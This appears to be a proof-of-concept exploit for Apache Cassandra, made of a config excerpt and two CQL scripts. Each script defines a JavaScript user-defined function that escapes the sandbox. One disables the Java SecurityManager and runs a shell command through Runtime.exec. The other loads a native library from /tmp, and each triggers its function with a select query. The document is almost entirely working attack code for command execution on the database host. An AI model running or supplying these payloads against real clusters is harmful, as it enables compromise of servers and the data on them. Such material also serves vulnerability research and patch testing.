1enable_user_defined_functions: true
2enable_scripted_user_defined_functions: true
3enable_user_defined_functions_threads: false

1CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
2use test;
3CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
4create or replace function test.exec(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$
5var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch hacked1")');name $$;
6insert into tab(cmd) values('test');
7select exec(cmd) from tab;

 1CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
 2use test;
 3CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
 4CREATE OR REPLACE FUNCTION exec(cmd text)
 5    RETURNS NULL ON NULL INPUT
 6    RETURNS text
 7    LANGUAGE javascript
 8    AS $$
 9        java.lang.System.load('/tmp/aa.so');
10    $$;
11
12insert into tab(cmd) values('test');
13select exec(cmd) from tab;